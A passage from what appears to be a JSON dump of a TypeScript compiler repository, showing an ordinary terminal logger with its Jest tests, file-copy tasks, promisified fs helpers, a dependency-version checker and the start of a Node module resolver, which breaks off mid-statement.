yellow(`${diagnostic.lineNumber}`);\n\n        if (typeof diagnostic.columnNumber === 'number' && diagnostic.columnNumber > -1) {\n          header += dim(`:`);\n          header += yellow(`${diagnostic.columnNumber}`);\n        }\n      }\n    }\n\n    if (header.length > 0) {\n      outputLines.unshift(INDENT + header);\n    }\n\n    outputLines.push('');\n    // code associated with the error/warning\n    if (diagnostic.lines && diagnostic.lines.length) {\n      const lines = removeLeadingWhitespace(diagnostic.lines);\n\n      lines.forEach((l) => {\n        if (!isMeaningfulLine(l.text)) {\n          // don't print lines just containing whitespace, skip those that do\n          return;\n        }\n\n        let msg = ``;\n\n        if (l.lineNumber > -1) {\n          msg = `L${l.lineNumber}:  `;\n        }\n\n        while (msg.length < INDENT.length) {\n          // prepend spaces to the message to make sure everything is aligned\n          msg = ' ' + msg;\n        }\n\n        let text = l.text;\n        if (l.errorCharStart > -1) {\n          text = highlightError(text, l.errorCharStart, l.errorLength);\n        }\n\n        msg = dim(msg);\n\n        if (diagnostic.language === 'typescript' || diagnostic.language === 'javascript') {\n          msg += javaScriptSyntaxHighlight(text);\n        } else if (diagnostic.language === 'scss' || diagnostic.language === 'css') {\n          msg += cssSyntaxHighlight(text);\n        } else {\n          msg += text;\n        }\n\n        outputLines.push(msg);\n      });\n\n      outputLines.push('');\n    }\n\n    if (diagnostic.level === 'error') {\n      errorPrefix(outputLines);\n    } else if (diagnostic.level === 'warn') {\n      warnPrefix(outputLines);\n    } else if (diagnostic.level === 'debug') {\n      debugPrefix(outputLines);\n    } else {\n      infoPrefix(outputLines);\n    }\n\n    if (diagnostic.debugText != null && currentLogLevel === 'debug') {\n      outputLines.push(diagnostic.debugText);\n      debugPrefix(wordWrap([diagnostic.debugText], loggerSys.getColumns()));\n    }\n\n    return outputLines;\n  };\n\n  /**\n   * Highlights an error\n   * @param errorLine the line containing the error\n   * @param errorCharStart the character at which the error starts\n   * @param errorLength the length of the error, how many characters should be highlighted\n   * @returns the highlighted error\n   */\n  const highlightError = (errorLine: string, errorCharStart: number, errorLength: number = 0): string => {\n    let rightSideChars = errorLine.length - errorCharStart + errorLength - 1;\n    while (errorLine.length + INDENT.length > loggerSys.getColumns()) {\n      if (errorCharStart > errorLine.length - errorCharStart + errorLength && errorCharStart > 5) {\n        // larger on left side\n        errorLine = errorLine.slice(1);\n        errorCharStart--;\n      } else if (rightSideChars > 1) {\n        // larger on right side\n        errorLine = errorLine.slice(0, -1);\n        rightSideChars--;\n      } else {\n        break;\n      }\n    }\n\n    const lineChars: string[] = [];\n    const lineLength = Math.max(errorLine.length, errorCharStart + errorLength);\n    for (let i = 0; i < lineLength; i++) {\n      let chr = errorLine.charAt(i);\n      if (i >= errorCharStart && i < errorCharStart + errorLength) {\n        chr = bgRed(chr === '' ? ' ' : chr);\n      }\n      lineChars.push(chr);\n    }\n\n    return lineChars.join('');\n  };\n\n  /**\n   * Highlights JavaScript/TypeScript syntax, taking in text and selectively highlighting keywords from the language\n   * @param text the text to highlight\n   * @returns the text with highlighted JS/TS\n   */\n  const javaScriptSyntaxHighlight = (text: string): string => {\n    if (text.trim().startsWith('//')) {\n      return dim(text);\n    }\n\n    const words = text.split(' ').map((word: string) => {\n      if (JS_KEYWORDS.indexOf(word) > -1) {\n        return cyan(word);\n      }\n      return word;\n    });\n\n    return words.join(' ');\n  };\n\n  /**\n   * Highlights CSS syntax, taking in text and selectively highlighting keywords from the language\n   * @param text the text to highlight\n   * @returns the text with highlighted CSS\n   */\n  const cssSyntaxHighlight = (text: string): string => {\n    let cssProp = true;\n    const safeChars = 'abcdefghijklmnopqrstuvwxyz-_';\n    const notProp = '.#,:}@$[]/*';\n\n    const chars: string[] = [];\n\n    for (let i = 0; i < text.length; i++) {\n      const c = text.charAt(i);\n\n      if (c === ';' || c === '{') {\n        cssProp = true;\n      } else if (notProp.indexOf(c) > -1) {\n        cssProp = false;\n      }\n      if (cssProp && safeChars.indexOf(c.toLowerCase()) > -1) {\n        chars.push(cyan(c));\n        continue;\n      }\n\n      chars.push(c);\n    }\n\n    return chars.join('');\n  };\n\n  const logger: Logger = {\n    createLineUpdater: loggerSys.createLineUpdater,\n    createTimeSpan,\n    debug,\n    emoji: loggerSys.emoji,\n    enableColors,\n    error,\n    getLevel,\n    info,\n    printDiagnostics,\n    setLevel,\n    setLogFilePath,\n    warn,\n    writeLogs,\n\n    // color functions\n    bgRed,\n    blue,\n    bold,\n    cyan,\n    dim,\n    gray,\n    green,\n    magenta,\n    red,\n    yellow,\n  };\n  return logger;\n};\n\nexport interface TerminalLoggerSys {\n  emoji: (msg: string) => string;\n  cwd: () => string;\n  getColumns: () => number;\n  memoryUsage: () => number;\n  relativePath: (from: string, to: string) => string;\n  writeLogs: (logFilePath: string, log: string, append: boolean) => void;\n  createLineUpdater: () => Promise<LoggerLineUpdater>;\n}\n\n/**\n * Helper function to determine, based on the current log level setting, whether\n * a message at a given log level should be logged or not.\n *\n * @param currentSetting the current log level setting\n * @param messageLevel the log level to check\n * @returns whether we should log or not!\n */\nexport const shouldLog = (currentSetting: LogLevel, messageLevel: LogLevel): boolean =>\n  LOG_LEVELS.indexOf(messageLevel) >= LOG_LEVELS.indexOf(currentSetting);\n\n/**\n * Format a simple timestamp string for log prefixes\n *\n * @returns a formatted timestamp\n */\nconst formatPrefixTimestamp = (): string => {\n  const currentTime = new Date();\n  const minutes = clampTwoDigits(currentTime.getMinutes());\n  const seconds = clampTwoDigits(currentTime.getSeconds());\n  const milliseconds = Math.floor((currentTime.getMilliseconds() / 1000) * 10);\n\n  return `[${minutes}:${seconds}.${milliseconds}]`;\n};\n\n/**\n * Format a number as a string and clamp it to exactly\n * two digits, e.g.\n *\n * ```ts\n * clampTwoDigits(3) // '03'\n * clampTwoDigits(14) // '14'\n * clampTwoDigits(104) // '04'\n * ```\n *\n * @param n the number to clamp\n * @returns a formatted string\n */\nconst clampTwoDigits = (n: number): string => ('0' + n.toString()).slice(-2);\n\n/**\n * Helper function for word wrapping\n * @param msg the message to wrap\n * @param columns the maximum number of columns to occupy per line\n * @returns the wrapped message\n */\nexport const wordWrap = (msg: any[], columns: number): string[] => {\n  const lines: string[] = [];\n  const words: any[] = [];\n\n  msg.forEach((m) => {\n    if (m === null) {\n      words.push('null');\n    } else if (typeof m === 'undefined') {\n      words.push('undefined');\n    } else if (typeof m === 'string') {\n      m.replace(/\\s/gm, ' ')\n        .split(' ')\n        .forEach((strWord) => {\n          if (strWord.trim().length) {\n            words.push(strWord.trim());\n          }\n        });\n    } else if (typeof m === 'number' || typeof m === 'boolean' || typeof m === 'function') {\n      words.push(m.toString());\n    } else if (Array.isArray(m)) {\n      words.push(() => {\n        return m.toString();\n      });\n    } else if (Object(m) === m) {\n      words.push(() => {\n        return m.toString();\n      });\n    } else {\n      words.push(m.toString());\n    }\n  });\n\n  let line = INDENT;\n  words.forEach((word) => {\n    if (lines.length > 25) {\n      return;\n    }\n\n    if (typeof word === 'function') {\n      if (line.trim().length) {\n        lines.push(line);\n      }\n      lines.push(word());\n      line = INDENT;\n    } else if (INDENT.length + word.length > columns - 1) {\n      // word is too long to play nice, just give it its own line\n      if (line.trim().length) {\n        lines.push(line);\n      }\n      lines.push(INDENT + word);\n      line = INDENT;\n    } else if (word.length + line.length > columns - 1) {\n      // this word would make the line too long\n      // print the line now, then start a new one\n      lines.push(line);\n      line = INDENT + word + ' ';\n    } else {\n      line += word + ' ';\n    }\n  });\n\n  if (line.trim().length) {\n    lines.push(line);\n  }\n\n  return lines.map((line) => {\n    return (line as any).trimRight();\n  });\n};\n\n/**\n * Prepare the code associated with the error/warning to be logged by stripping variable length, leading whitespace\n * @param orgLines the lines of code to log\n * @returns the code, with leading whitespace stripped\n */\nconst removeLeadingWhitespace = (orgLines: PrintLine[]): ReadonlyArray<PrintLine> => {\n  // The number of times an attempt to strip leading whitespace should occur\n  const numberOfTries = 100;\n  const lines: PrintLine[] = JSON.parse(JSON.stringify(orgLines));\n\n  for (let i = 0; i < numberOfTries; i++) {\n    if (!eachLineHasLeadingWhitespace(lines)) {\n      return lines;\n    }\n    // each line has at least one line of whitespace. remove the leading character from each\n    for (let i = 0; i < lines.length; i++) {\n      lines[i].text = lines[i].text.slice(1);\n      lines[i].errorCharStart--;\n      if (!lines[i].text.length) {\n        return lines;\n      }\n    }\n  }\n\n  return lines;\n};\n\n/**\n * Determine if any of the provided lines begin with whitespace or not\n * @param lines the lines to check for whitespace\n * @returns true if each of the provided `lines` has some leading whitespace, false otherwise\n */\nconst eachLineHasLeadingWhitespace = (lines: PrintLine[]): boolean => {\n  if (!lines.length) {\n    return false;\n  }\n\n  for (let i = 0; i < lines.length; i++) {\n    if (!lines[i].text || lines[i].text.length < 1) {\n      return false;\n    }\n    const firstChar = lines[i].text.charAt(0);\n    if (firstChar !== ' ' && firstChar !== '\\t') {\n      return false;\n    }\n  }\n\n  return true;\n};\n\n/**\n * Verify that a given line has more than just whitespace\n * @param line the line to check\n * @returns true if a line has characters other than whitespace in it, false otherwise\n */\nconst isMeaningfulLine = (line: string): boolean => {\n  if (line) {\n    line = line.trim();\n    return line.length > 0;\n  }\n  return false;\n};\n\nconst JS_KEYWORDS = [\n  'abstract',\n  'any',\n  'as',\n  'break',\n  'boolean',\n  'case',\n  'catch',\n  'class',\n  'console',\n  'const',\n  'continue',\n  'debugger',\n  'declare',\n  'default',\n  'delete',\n  'do',\n  'else',\n  'enum',\n  'export',\n  'extends',\n  'false',\n  'finally',\n  'for',\n  'from',\n  'function',\n  'get',\n  'if',\n  'import',\n  'in',\n  'implements',\n  'Infinity',\n  'instanceof',\n  'let',\n  'module',\n  'namespace',\n  'NaN',\n  'new',\n  'number',\n  'null',\n  'public',\n  'private',\n  'protected',\n  'require',\n  'return',\n  'static',\n  'set',\n  'string',\n  'super',\n  'switch',\n  'this',\n  'throw',\n  'try',\n  'true',\n  'type',\n  'typeof',\n  'undefined',\n  'var',\n  'void',\n  'with',\n  'while',\n  'yield',\n];\n\n/**\n * This is used to prefix lines with whitespace which is then\n * replaced by various prefixes like [ WARN ] and so on\n */\nconst INDENT = '           ';\n"
  },
  {
    "path": "src/sys/node/logger/test/terminal-logger.spec.ts",
    "content": "import { bgRed, blue, bold, cyan, dim, gray, green, magenta, red, yellow } from 'ansi-colors';\n\nimport { LOG_LEVELS, LogLevel } from '../../../../declarations';\nimport { setupConsoleMocker } from '../../../../testing/testing-utils';\nimport { createNodeLoggerSys } from '../index';\nimport { createTerminalLogger, shouldLog } from '../terminal-logger';\n\ndescribe('terminal-logger', () => {\n  describe('shouldLog helper', () => {\n    it.each(LOG_LEVELS)(\"should log errors at level '%s'\", (currentLevel: LogLevel) => {\n      expect(shouldLog(currentLevel, 'error')).toBe(true);\n    });\n\n    it.each<[LogLevel, boolean]>([\n      ['debug', true],\n      ['info', true],\n      ['warn', true],\n      ['error', false],\n    ])(\"shouldLog for warnings at level '%s' should be '%p'\", (currentLevel, expected) => {\n      expect(shouldLog(currentLevel, 'warn')).toBe(expected);\n    });\n\n    it.each<[LogLevel, boolean]>([\n      ['debug', true],\n      ['info', true],\n      ['warn', false],\n      ['error', false],\n    ])(\"shouldLog for info at level '%s' should be '%p'\", (currentLevel, expected) => {\n      expect(shouldLog(currentLevel, 'info')).toBe(expected);\n    });\n\n    it.each<[LogLevel, boolean]>([\n      ['debug', true],\n      ['info', false],\n      ['warn', false],\n      ['error', false],\n    ])(\"shouldLog for debug messages at level '%s' should be '%p'\", (currentLevel, expected) => {\n      expect(shouldLog(currentLevel, 'debug')).toBe(expected);\n    });\n  });\n\n  describe('basic logging functionality', () => {\n    const { setupConsoleMocks } = setupConsoleMocker();\n\n    function setup() {\n      const { logMock, warnMock, errorMock } = setupConsoleMocks();\n\n      const loggerSys = createNodeLoggerSys();\n\n      loggerSys.memoryUsage = jest.fn().mockReturnValue(10_000_000);\n\n      const writeLogsMock = jest.fn();\n      loggerSys.writeLogs = writeLogsMock;\n\n      const logger = createTerminalLogger(loggerSys);\n\n      jest.useFakeTimers().setSystemTime(new Date(2022, 6, 3, 9, 32, 32, 32));\n\n      return { logger, logMock, warnMock, errorMock, writeLogsMock };\n    }\n\n    it(\"supports 'debug' level\", () => {\n      const { logger, logMock } = setup();\n      logger.setLevel('debug');\n      logger.debug('my debug message');\n      expect(logMock).toHaveBeenCalledWith(`${cyan('[32:32.0]')}  my debug message ${dim(' MEM: 10.0MB')}`);\n    });\n\n    it(\"supports 'info' level\", () => {\n      const { logger, logMock } = setup();\n      logger.info('my info message');\n      expect(logMock).toHaveBeenCalledWith(`${dim('[32:32.0]')}  my info message`);\n    });\n\n    it(\"supports 'warn' level\", () => {\n      const { logger, warnMock } = setup();\n      logger.warn('my warn message');\n      expect(warnMock).toHaveBeenCalledWith(`\\n${bold(yellow('[ WARN  ]'))}  my warn message\\n`);\n    });\n\n    it(\"supports 'error' level\", () => {\n      const { logger, errorMock } = setup();\n      logger.error('my error message');\n      expect(errorMock).toHaveBeenCalledWith(`\\n${bold(red('[ ERROR ]'))}  my error message\\n`);\n    });\n\n    describe('color support', () => {\n      it('re-packages some ansi-colors functions', () => {\n        const { logger } = setup();\n        expect(logger.bgRed('test message')).toBe(bgRed('test message'));\n        expect(logger.blue('test message')).toBe(blue('test message'));\n        expect(logger.bold('test message')).toBe(bold('test message'));\n        expect(logger.cyan('test message')).toBe(cyan('test message'));\n        expect(logger.dim('test message')).toBe(dim('test message'));\n        expect(logger.gray('test message')).toBe(gray('test message'));\n        expect(logger.green('test message')).toBe(green('test message'));\n        expect(logger.magenta('test message')).toBe(magenta('test message'));\n        expect(logger.red('test message')).toBe(red('test message'));\n        expect(logger.yellow('test message')).toBe(yellow('test message'));\n      });\n\n      it('has a built-in disable which turns off colors', () => {\n        const { logger } = setup();\n        logger.enableColors(false);\n        expect(logger.bgRed('test message')).toBe('test message');\n        expect(logger.blue('test message')).toBe('test message');\n        expect(logger.bold('test message')).toBe('test message');\n        expect(logger.cyan('test message')).toBe('test message');\n        expect(logger.dim('test message')).toBe('test message');\n        expect(logger.gray('test message')).toBe('test message');\n        expect(logger.green('test message')).toBe('test message');\n        expect(logger.magenta('test message')).toBe('test message');\n        expect(logger.red('test message')).toBe('test message');\n        expect(logger.yellow('test message')).toBe('test message');\n        // This has to be re-enabled because this actually toggles\n        // a boolean declared inside of the ansi-colors module\n        logger.enableColors(true);\n      });\n    });\n\n    describe('logfile support', () => {\n      it('supports shipping logs to a file', () => {\n        const { logger, writeLogsMock } = setup();\n        logger.setLogFilePath!('testfile.txt');\n        logger.info('test message');\n        logger.writeLogs!(false);\n        const expectedLogfile = [\n          '09:32:32.00  0010.0MB  I  test message',\n          '09:32:32.00  0010.0MB  F  --------------------------------------',\n        ].join('\\n');\n        expect(writeLogsMock).toHaveBeenCalledWith('testfile.txt', expectedLogfile, false);\n      });\n\n      it('should not write logs to file if filepath not set', function () {\n        const { logger, writeLogsMock } = setup();\n        logger.info('test message');\n        logger.writeLogs!(false);\n        expect(writeLogsMock).not.toHaveBeenCalled();\n      });\n    });\n\n    describe('timespans', () => {\n      it('has basic support for timespans', function () {\n        const { logger, logMock } = setup();\n        const timespan = logger.createTimeSpan('start the timespan');\n        jest.advanceTimersByTime(10_000);\n        timespan.finish('finish the timespan');\n\n        expect(logMock).toHaveBeenNthCalledWith(1, `${dim('[32:32.0]')}  start the timespan ${dim('...')}`);\n        expect(logMock).toHaveBeenNthCalledWith(2, `${dim('[32:42.0]')}  finish the timespan ${dim('in 10.00 s')}`);\n      });\n\n      describe('debug timespan', function () {\n        it('supports passing a debug flag', function () {\n          const { logger, logMock } = setup();\n          logger.setLevel('debug');\n          const timespan = logger.createTimeSpan('start the timespan', true);\n          jest.advanceTimersByTime(10_000);\n          timespan.finish('finish the timespan');\n\n          expect(logMock).toHaveBeenNthCalledWith(\n            1,\n            `${cyan('[32:32.0]')}  start the timespan ${dim('...')} ${dim(' MEM: 10.0MB')}`,\n          );\n          expect(logMock).toHaveBeenNthCalledWith(\n            2,\n            `${cyan('[32:42.0]')}  finish the timespan ${dim('in 10.00 s')} ${dim(' MEM: 10.0MB')}`,\n          );\n        });\n\n        it('supports writing debug messages to the logfile', () => {\n          const { logger, writeLogsMock } = setup();\n          logger.setLogFilePath!('testfile.txt');\n          logger.setLevel('debug');\n          const timespan = logger.createTimeSpan('start the timespan', true);\n          jest.advanceTimersByTime(10_000);\n          timespan.finish('finish the timespan');\n          logger.writeLogs!(false);\n\n          const expectedLogfile = [\n            '09:32:32.00  0010.0MB  D  start the timespan ...',\n            '09:32:42.00  0010.0MB  D  finish the timespan in 10.00 s',\n            '09:32:42.00  0010.0MB  F  --------------------------------------',\n          ].join('\\n');\n          expect(writeLogsMock).toHaveBeenCalledWith('testfile.txt', expectedLogfile, false);\n        });\n\n        it.each<LogLevel>(['info', 'error', 'warn'])(\n          \"shouldn't write to the console when logLevel is '%s' (less verbose than 'debug')\",\n          (level) => {\n            const { logger, logMock } = setup();\n            logger.setLevel(level);\n            const timespan = logger.createTimeSpan('start the timespan', true);\n            jest.advanceTimersByTime(10_000);\n            timespan.finish('finish the timespan');\n            expect(logMock).not.toHaveBeenCalled();\n          },\n        );\n      });\n\n      it('reports the number of milliseconds if timespan takes under a second', () => {\n        const { logger, logMock } = setup();\n        const timespan = logger.createTimeSpan('start the timespan');\n        jest.advanceTimersByTime(10);\n        timespan.finish('finish the timespan');\n\n        expect(logMock).toHaveBeenNthCalledWith(1, `${dim('[32:32.0]')}  start the timespan ${dim('...')}`);\n        expect(logMock).toHaveBeenNthCalledWith(2, `${dim('[32:32.0]')}  finish the timespan ${dim('in 10 ms')}`);\n      });\n\n      it(\"doesn't report an exact time if it's less than 1ms\", function () {\n        const { logger, logMock } = setup();\n        const timespan = logger.createTimeSpan('start the timespan');\n        timespan.finish('finish the timespan');\n\n        expect(logMock).toHaveBeenNthCalledWith(1, `${dim('[32:32.0]')}  start the timespan ${dim('...')}`);\n        expect(logMock).toHaveBeenNthCalledWith(\n          2,\n          `${dim('[32:32.0]')}  finish the timespan ${dim('in less than 1 ms')}`,\n        );\n      });\n\n      it('writes timespans to the log file, if configured', () => {\n        const { logger, writeLogsMock } = setup();\n        logger.setLogFilePath!('testfile.txt');\n        const timespan = logger.createTimeSpan('start the timespan');\n        jest.advanceTimersByTime(10_000);\n        timespan.finish('finish the timespan');\n        logger.writeLogs!(false);\n\n        const expectedLogfile = [\n          '09:32:32.00  0010.0MB  I  start the timespan ...',\n          '09:32:42.00  0010.0MB  I  finish the timespan in 10.00 s',\n          '09:32:42.00  0010.0MB  F  --------------------------------------',\n        ].join('\\n');\n        expect(writeLogsMock).toHaveBeenCalledWith('testfile.txt', expectedLogfile, false);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "src/sys/node/node-copy-tasks.ts",
    "content": "import { buildError, catchError, flatOne, isGlob, normalizePath } from '@utils';\nimport { glob } from 'glob';\nimport path from 'path';\n\nimport type * as d from '../../declarations';\nimport { copyFile, mkdir, readdir, stat } from './node-fs-promisify';\n\nexport async function nodeCopyTasks(copyTasks: Required<d.CopyTask>[], srcDir: string) {\n  const results: d.CopyResults = {\n    diagnostics: [],\n    dirPaths: [],\n    filePaths: [],\n  };\n\n  try {\n    copyTasks = flatOne(await Promise.all(copyTasks.map((task) => processGlobs(task, srcDir))));\n\n    const allCopyTasks: d.CopyTask[] = [];\n\n    // figure out all the file copy tasks we'll have\n    // by digging down through any directory copy tasks\n    while (copyTasks.length > 0) {\n      const tasks = copyTasks.splice(0, 100);\n\n      await Promise.all(tasks.map((copyTask) => processCopyTask(results, allCopyTasks, copyTask)));\n    }\n\n    // figure out which directories we'll need to make first\n    const mkDirs = ensureDirs(allCopyTasks);\n\n    try {\n      await Promise.all(mkDirs.map((dir) => mkdir(dir, { recursive: true })));\n    } catch (mkDirErr) {}\n\n    while (allCopyTasks.length > 0) {\n      const tasks = allCopyTasks.splice(0, 100);\n\n      await Promise.all(tasks.map((copyTask) => copyFile(copyTask.src, copyTask.dest)));\n    }\n  } catch (e: any) {\n    catchError(results.diagnostics, e);\n  }\n\n  return results;\n}\n\nasync function processGlobs(copyTask: Required<d.CopyTask>, srcDir: string): Promise<Required<d.CopyTask>[]> {\n  return isGlob(copyTask.src)\n    ? await processGlobTask(copyTask, srcDir)\n    : [\n        {\n          src: getSrcAbsPath(srcDir, copyTask.src),\n          dest: copyTask.keepDirStructure ? path.join(copyTask.dest, copyTask.src) : copyTask.dest,\n          warn: copyTask.warn,\n          ignore: copyTask.ignore,\n          keepDirStructure: copyTask.keepDirStructure,\n        },\n      ];\n}\n\nfunction getSrcAbsPath(srcDir: string, src: string) {\n  if (path.isAbsolute(src)) {\n    return src;\n  }\n  return path.join(srcDir, src);\n}\n\nasync function processGlobTask(copyTask: Required<d.CopyTask>, srcDir: string): Promise<Required<d.CopyTask>[]> {\n  const files = await asyncGlob(copyTask.src, {\n    cwd: srcDir,\n    nodir: true,\n    ignore: copyTask.ignore,\n  });\n  return files.map((globRelPath) => createGlobCopyTask(copyTask, srcDir, globRelPath));\n}\n\nfunction createGlobCopyTask(copyTask: Required<d.CopyTask>, srcDir: string, globRelPath: string): Required<d.CopyTask> {\n  const dest = path.join(copyTask.dest, copyTask.keepDirStructure ? globRelPath : path.basename(globRelPath));\n  return {\n    src: path.join(srcDir, globRelPath),\n    dest,\n    ignore: copyTask.ignore,\n    warn: copyTask.warn,\n    keepDirStructure: copyTask.keepDirStructure,\n  };\n}\n\nasync function processCopyTask(results: d.CopyResults, allCopyTasks: d.CopyTask[], copyTask: d.CopyTask) {\n  try {\n    copyTask.src = normalizePath(copyTask.src);\n    copyTask.dest = normalizePath(copyTask.dest);\n\n    // get the stats for this src to see if it's a directory or not\n    const stats = await stat(copyTask.src);\n    if (stats.isDirectory()) {\n      // still a directory, keep digging down\n      if (!results.dirPaths.includes(copyTask.dest)) {\n        results.dirPaths.push(copyTask.dest);\n      }\n\n      await processCopyTaskDirectory(results, allCopyTasks, copyTask);\n    } else if (!shouldIgnore(copyTask)) {\n      // this is a file we should copy\n      if (!results.filePaths.includes(copyTask.dest)) {\n        results.filePaths.push(copyTask.dest);\n      }\n\n      allCopyTasks.push(copyTask);\n    }\n  } catch (e) {\n    if (copyTask.warn !== false) {\n      const err = buildError(results.diagnostics);\n      if (e instanceof Error) {\n        err.messageText = e.message;\n      }\n    }\n  }\n}\n\nasync function processCopyTaskDirectory(results: d.CopyResults, allCopyTasks: d.CopyTask[], copyTask: d.CopyTask) {\n  try {\n    const dirItems = await readdir(copyTask.src);\n\n    await Promise.all(\n      dirItems.map(async (dirItem) => {\n        const subCopyTask: d.CopyTask = {\n          src: path.join(copyTask.src, dirItem),\n          dest: path.join(copyTask.dest, dirItem),\n          warn: copyTask.warn,\n        };\n\n        await processCopyTask(results, allCopyTasks, subCopyTask);\n      }),\n    );\n  } catch (e: any) {\n    catchError(results.diagnostics, e);\n  }\n}\n\nfunction ensureDirs(copyTasks: d.CopyTask[]) {\n  const mkDirs: string[] = [];\n\n  copyTasks.forEach((copyTask) => {\n    addMkDir(mkDirs, path.dirname(copyTask.dest));\n  });\n\n  mkDirs.sort((a, b) => {\n    const partsA = a.split('/').length;\n    const partsB = b.split('/').length;\n\n    if (partsA < partsB) return -1;\n    if (partsA > partsB) return 1;\n    if (a < b) return -1;\n    if (a > b) return 1;\n    return 0;\n  });\n\n  return mkDirs;\n}\n\nfunction addMkDir(mkDirs: string[], destDir: string) {\n  destDir = normalizePath(destDir);\n\n  if (destDir === ROOT_DIR || destDir + '/' === ROOT_DIR || destDir === '') {\n    return;\n  }\n\n  if (!mkDirs.includes(destDir)) {\n    mkDirs.push(destDir);\n  }\n}\n\nconst ROOT_DIR = normalizePath(path.resolve('/'));\n\nfunction shouldIgnore({ src, ignore = [] }: d.CopyTask) {\n  const filePath = src.trim().toLowerCase();\n  return ignore.some((ignoreFile) => filePath.endsWith(ignoreFile));\n}\n\nexport function asyncGlob(pattern: string, opts: any) {\n  return glob(pattern, opts);\n}\n"
  },
  {
    "path": "src/sys/node/node-fs-promisify.ts",
    "content": "import fs from 'graceful-fs';\nimport { promisify } from 'util';\n\nexport const copyFile = promisify(fs.copyFile);\nexport const mkdir = promisify(fs.mkdir);\nexport const readdir = promisify(fs.readdir);\nexport const readFile = promisify(fs.readFile);\nexport const stat = promisify(fs.stat);\n"
  },
  {
    "path": "src/sys/node/node-lazy-require.ts",
    "content": "import { buildError } from '@utils';\nimport fs from 'graceful-fs';\nimport path from 'path';\nimport semverLte from 'semver/functions/lte';\nimport major from 'semver/functions/major';\nimport satisfies from 'semver/functions/satisfies';\n\nimport type * as d from '../../declarations';\nimport { NodeResolveModule } from './node-resolve-module';\n\n/**\n * The version range that we support for a given package. The strings should be\n * standard semver strings.\n */\ninterface DepVersionRange {\n  minVersion: string;\n  recommendedVersion: string;\n  /**\n   * Max version is optional because we aren't always worried about upgrades.\n   * This should be set for packages where major version upgrades have\n   * historically caused problems, or when we've identified a specific issue\n   * that requires us to stay at or below a certain version. Note that\n   * `NodeLazyRequire.ensure` only checks the major version.\n   */\n  maxVersion?: string;\n}\n\n/**\n * A manifest for lazily-loaded dependencies, mapping dependency names to\n * version ranges.\n */\nexport type LazyDependencies = Record<string, DepVersionRange>;\n\n/**\n * Lazy requirer for Node, with functionality for specifying version ranges and\n * returning diagnostic errors if requirements aren't met.\n */\nexport class NodeLazyRequire implements d.LazyRequire {\n  private ensured = new Set<string>();\n\n  /**\n   * Create a NodeLazyRequire instance\n   *\n   * @param nodeResolveModule an object which wraps up module resolution functionality\n   * @param lazyDependencies the dependency requirements we want to enforce here\n   */\n  constructor(\n    private nodeResolveModule: NodeResolveModule,\n    private lazyDependencies: LazyDependencies,\n  ) {}\n\n  /**\n   * Ensure that a dependency within our supported range is installed in the\n   * current environment. This function will check all the dependency\n   * requirements passed in when the class is instantiated and return\n   * diagnostics if there are any issues.\n   *\n   * @param fromDir the directory from which we'll attempt to resolve the\n   * dependencies, typically this will be project's root directory.\n   * @param ensureModuleIds an array of module names whose versions we're going\n   * to check\n   * @returns a Promise holding diagnostics if any of the dependencies either\n   * were not resolved _or_ did not meet our version requirements.\n   */\n  async ensure(fromDir: string, ensureModuleIds: string[]): Promise<d.Diagnostic[]> {\n    const diagnostics: d.Diagnostic[] = [];\n    const problemDeps: string[] = [];\n\n    ensureModuleIds.forEach((ensureModuleId) => {\n      if (!this.ensured.has(ensureModuleId)) {\n        const { minVersion, recommendedVersion, maxVersion } = this.lazyDependencies[ensureModuleId];\n\n        try {\n          const pkgJsonPath = this.nodeResolveModule.resolveModule(fromDir, ensureModuleId);\n          const installedPkgJson: d.PackageJsonData = JSON.parse(fs.readFileSync(pkgJsonPath, 'utf8'));\n\n          const installedVersionIsGood = maxVersion\n            ? // if maxVersion, check that `minVersion <= installedVersion <= maxVersion`\n              satisfies(installedPkgJson.version, `${minVersion} - ${major(maxVersion)}.x`)\n            : // else, just check that `minVersion <= installedVersion`\n              semverLte(minVersion, installedPkgJson.version);\n\n          if (installedVersionIsGood) {\n            this.ensured.add(ensureModuleId);\n            return;\n          }\n        } catch (e) {}\n        // if we get here we didn't get to the `return` above, so either 1) there was some error\n        // reading the package.json or 2) the version wasn't in our specified version range.\n        problemDeps.push(`${ensureModuleId}@${recommendedVersion}`);\n      }\n    });\n\n    if (problemDeps.length > 0) {\n      const err = buildError(diagnostics);\n      err.header = `Please install supported versions of dev dependencies with either npm or yarn.`;\n      err.messageText = `npm install --save-dev ${problemDeps.join(' ')}`;\n    }\n\n    return diagnostics;\n  }\n\n  require(fromDir: string, moduleId: string) {\n    const modulePath = this.getModulePath(fromDir, moduleId);\n    return require(modulePath);\n  }\n\n  getModulePath(fromDir: string, moduleId: string) {\n    const modulePath = this.nodeResolveModule.resolveModule(fromDir, moduleId);\n    return path.dirname(modulePath);\n  }\n}\n"
  },
  {
    "path": "src/sys/node/node-resolve-module.ts",
    "content": "import { normalizePath } from '@utils';\nimport fs from 'graceful-fs';\nimport path from 'path';\n\nimport type * as d from '../../declarations';\n\nexport class NodeResolveModule {\n  private resolveModuleCache = new Map<string, string>();\n\n  resolveModule(fromDir: string, moduleId: string, opts?: d.ResolveModuleOptions) {\n    const cacheKey = `${fromDir}:${moduleId}`;\n\n    const cachedPath = this.resolveModuleCache.get(cacheKey);\n    if (cachedPath) {\n      return cachedPath;\n    }\n\n    if (opts && opts.manuallyResolve) {\n      return this.resolveModuleManually(fromDir, moduleId, cacheKey);\n    }\n\n    if (moduleId.startsWith('@types/')) {\n      return this.resolveTypesModule(fromDir, moduleId, cacheKey);\n    }\n\n    const Module = require('module');\n\n    fromDir = path.resolve(fromDir);\n    const fromFile = path.join(fromDir, 'noop.js');\n\n    let dir = normalizePath(\n      Module._resolveFilename(moduleId, {\n        id: fromFile,\n        filename: fromFile,\n        paths: Module._nodeModulePaths(fromDir),\n      }),\n    );\n\n    const root = normalizePath(path.parse(fromDir).root);\n    let packageJsonFilePath: string;\n\n    while (dir !== root) {\n      dir = normalizePath(path.dirname(dir));\n      packageJsonFilePath = path.join(dir, 'package.json');\n\n      if (!fs.existsSync(packageJsonFilePath)) {\n        continue;\n      }\n\n      this.resolveModuleCache.set(cacheKey, packageJsonFilePath);\n\n      return packageJsonFilePath;\n    }\n\n    throw new Error(`error loading \"${moduleId}\" from \"${fromDir}\"`);\n  }\n\n  resolveTypesModule(fromDir: string, moduleId: string, cacheKey: string) {\n    const moduleSplt = moduleId.split('/');\n\n    const root = normalizePath(path.parse(fromDir).root);\n\n    let dir = normalizePath(path.join(fromDir, 'noop.js'));\n    let typesPackageJsonFilePath: string;\n\n    while (dir !== root) {\n      dir = normalizePath(path.dirname(dir));\n      typesPackageJsonFilePath = 